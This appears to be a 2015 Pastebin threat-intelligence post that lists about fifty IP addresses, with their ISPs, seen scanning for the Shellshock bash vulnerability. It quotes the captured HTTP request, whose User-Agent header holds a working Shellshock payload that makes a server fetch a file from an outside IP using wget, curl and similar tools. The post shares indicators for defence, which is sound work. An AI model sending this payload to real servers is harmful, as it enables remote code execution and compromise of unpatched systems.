deependresearch

Heavy Shellshock Scanners

Oct 12th, 2015
676
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.74 KB | None | 0 0
  1. These IPs have been seen scanning and attempting shellshock exploits with the following payload:
  2. (Payload path is 404 at the moment)
  3.  
  4. GET <varied PHP paths and files> HTTP/1.1
  5. Accept: */*
  6. Accept-Language: en-us
  7. Accept-Encoding: gzip, deflate
  8. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget 46.105.96.205/TEST231;curl 46.105.96.205/TEST231;fetch 46.105.96.205/TEST231;lwp-download 46.105.96.205/TEST231;GET 46.105.96.205/TEST231");'
  9. Host: 161.253.99.4
  10. Connection: Close
  11.  
  12. 1221 | 101.176.8.40 | ASN-TELSTRA Telstra Pty Ltd,AU
  13. 2514 | 203.152.193.187 | INFOSPHERE NTT PC Communications, Inc.,JP
  14. 3269 | 2.115.68.148 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
  15. 3269 | 2.115.68.149 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
  16. 3269 | 82.90.58.64 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
  17. 3329 | 195.97.1.231 | HOL-GR hellas online Electronic Communications S.A.,GR
  18. 3786 | 106.245.141.202 | LGDACOM LG DACOM Corporation,KR
  19. 5587 | 212.69.197.225 | ITILITY-LIMITED Itility Limited,GB
  20. 5587 | 212.69.198.220 | ITILITY-LIMITED Itility Limited,GB
  21. 5760 | 216.195.184.202 | BIDDEFORD1 - Biddeford Internet Corp,US
  22. 6503 | 200.38.236.6 | Axtel, S.A.B. de C.V.,MX
  23. 6724 | 85.214.40.63 | STRATO STRATO AG,DE
  24. 6830 | 87.207.70.55 | LGI-UPC Liberty Global Operations B.V.,AT
  25. 6830 | 89.16.193.101 | LGI-UPC Liberty Global Operations B.V.,AT
  26. 7643 | 203.162.120.135 | VNPT-AS-VN Vietnam Posts and Telecommunications (VNPT),VN
  27. 7922 | 173.10.16.170 | COMCAST-7922 - Comcast Cable Communications, Inc.,US
  28. 8151 | 187.210.107.242 | Uninet S.A. de C.V.,MX
  29. 8151 | 189.143.22.149 | Uninet S.A. de C.V.,MX
  30. 8167 | 187.52.179.244 | Brasil Telecom S/A - Filial Distrito Federal,BR
  31. 8167 | 200.215.102.205 | Brasil Telecom S/A - Filial Distrito Federal,BR
  32. 8167 | 201.67.114.114 | Brasil Telecom S/A - Filial Distrito Federal,BR
  33. 8560 | 87.106.53.142 | ONEANDONE-AS 1&1 Internet AG,DE
  34. 8758 | 83.150.11.54 | IWAY Iway AG,CH
  35. 8972 | 77.236.96.52 | PLUSSERVER-AS PlusServer AG,DE
  36. 9929 | 210.51.9.193 | CNCNET-CN China Netcom Corp.,CN
  37. 11340 | 200.2.114.138 | Red Universitaria Nacional,CL
  38. 11351 | 74.75.22.201 | RR-NYSREGION-ASN-01 - Time Warner Cable Internet LLC,US
  39. 12741 | 77.252.52.131 | AS-NETIA Netia SA,PL
  40. 12876 | 212.129.8.252 | AS12876 ONLINE S.A.S.,FR
  41. 12876 | 62.210.113.143 | AS12876 ONLINE S.A.S.,FR
  42. 12876 | 62.210.157.90 | AS12876 ONLINE S.A.S.,FR
  43. 13649 | 64.58.236.61 | ASN-VINS - ViaWest ,US
  44. 13703 | 208.52.191.253 | BROADRIVER-13703 - BroadRiver Communication Corp.,US
  45. 15589 | 83.211.47.121 | ASN-CLOUDITALIA CLOUDITALIA TELECOMUNICAZIONI S.P.A.,IT
  46. 15732 | 83.230.255.70 | IBERBANDA-SPAIN Iberbanda S.A.,ES
  47. 16276 | 46.105.96.205 | OVH OVH SAS,FR
  48. 16735 | 201.48.169.157 | ALGAR TELECOM S/A,BR
  49. 17072 | 187.189.206.125 | TOTAL PLAY TELECOMUNICACIONES SA DE CV,MX
  50. 19089 | 187.61.1.122 | DH&C Outsourccing S/A.,BR
  51. 19429 | 200.119.14.242 | ETB - Colombia,CO
  52. 19994 | 50.56.34.60 | RACKSPACE - Rackspace Hosting,US
  53. 21058 | 80.83.161.10 | ASN-MEDIAONLINE MEDIA.IT s.r.l,IT
  54. 22927 | 186.56.42.11 | Telefonica de Argentina,AR
  55. 25002 | 81.88.231.65 | LINEACOM-AS LINEA COM S R L,IT
  56. 26496 | 173.201.20.98 | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC,US
  57. 33070 | 65.61.173.223 | RMH-14 - Rackspace Hosting,US
  58. 38511 | 115.124.92.83 | TACHYON-AS-ID PT Remala Abadi,ID
  59. 43205 | 37.143.235.3 | BULSATCOM-BG-AS Bulsatcom AD,BG
  60. 43350 | 185.66.140.16 | NFORCE NFOrce Entertainment BV,NL
  61. 55653 | 103.11.96.101 | SKYLINE-AS-ID Skyline Semesta, PT,ID
  62. 199256 | 185.32.153.115 | LTH-AS Leeson Telecom Holdings Ltd,IE
Advertisement
Add Comment
Please, Sign In to add comment